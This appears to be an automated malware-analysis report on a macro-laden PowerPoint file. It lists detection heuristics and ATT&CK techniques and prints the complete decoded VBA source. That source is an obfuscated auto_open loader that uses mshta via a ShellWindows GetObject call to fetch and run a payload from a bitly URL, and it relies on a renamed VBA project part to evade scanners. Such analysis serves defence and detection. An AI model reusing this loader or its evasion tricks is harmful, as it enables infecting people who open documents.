MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218.005 Signed Binary Proxy Execution: Mshta
T1071.001 Web Protocols: Web Protocols
The sample contains an obfuscated VBA macro with an auto_open subroutine that uses mshta.exe to download and execute a payload from the URL "http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu". The VBA code reconstructs the string "mshta" and the URL from an enumeration and a GetObject call, indicating an attempt to evade detection. The presence of the auto_open macro and the use of mshta.exe strongly suggest a downloader or initial access mechanism.
Heuristics 8
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/tsftfsygciuu.b)
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Case 1 getEnumName = "mshta" Case 2 -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Public Function calc() Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen")) End Function -
VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMEDThe VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
-
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Public Function calc() Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen")) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Attribute VB_Name = "clom" Sub auto_open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu In document text (OOXML body / shared strings)
- https://www.bitly.com/jasdojasdokkaasasddksdIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1009 bytes |
SHA-256: 7153b8f71d0badccfdd7ae60dc8315d506ba27390d5f7c78f74a6bdeec84937e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "clean"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Enum myenum
myname1 = 1
myname2 = 2
myname3 = 3
myname4 = 4
End Enum
Public Function getEnumName(eValue As myenum)
Select Case eValue
Case 1
getEnumName = "mshta"
Case 2
getEnumName = "http://www.bitly.com/doaksoodwwdkkdwdasdwmdaweu"
End Select
End Function
Public Function calc()
Set calc = GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End Function
Attribute VB_Name = "clom"
Sub auto_open()
Dim Total As New clean
Dim NamakTotal, lora As String
NamakTotal = Total.getEnumName(1)
lora = Total.getEnumName(2)
koko = lora
Total. _
calc. _
ShellExecute NamakTotal, koko
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: ppt/tsftfsygciuu.b | 26112 bytes |
SHA-256: ed1fdfd6d55e50f520d5d9abedd452844c545e7f0a5f43191c57ddeaf9c3f426 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.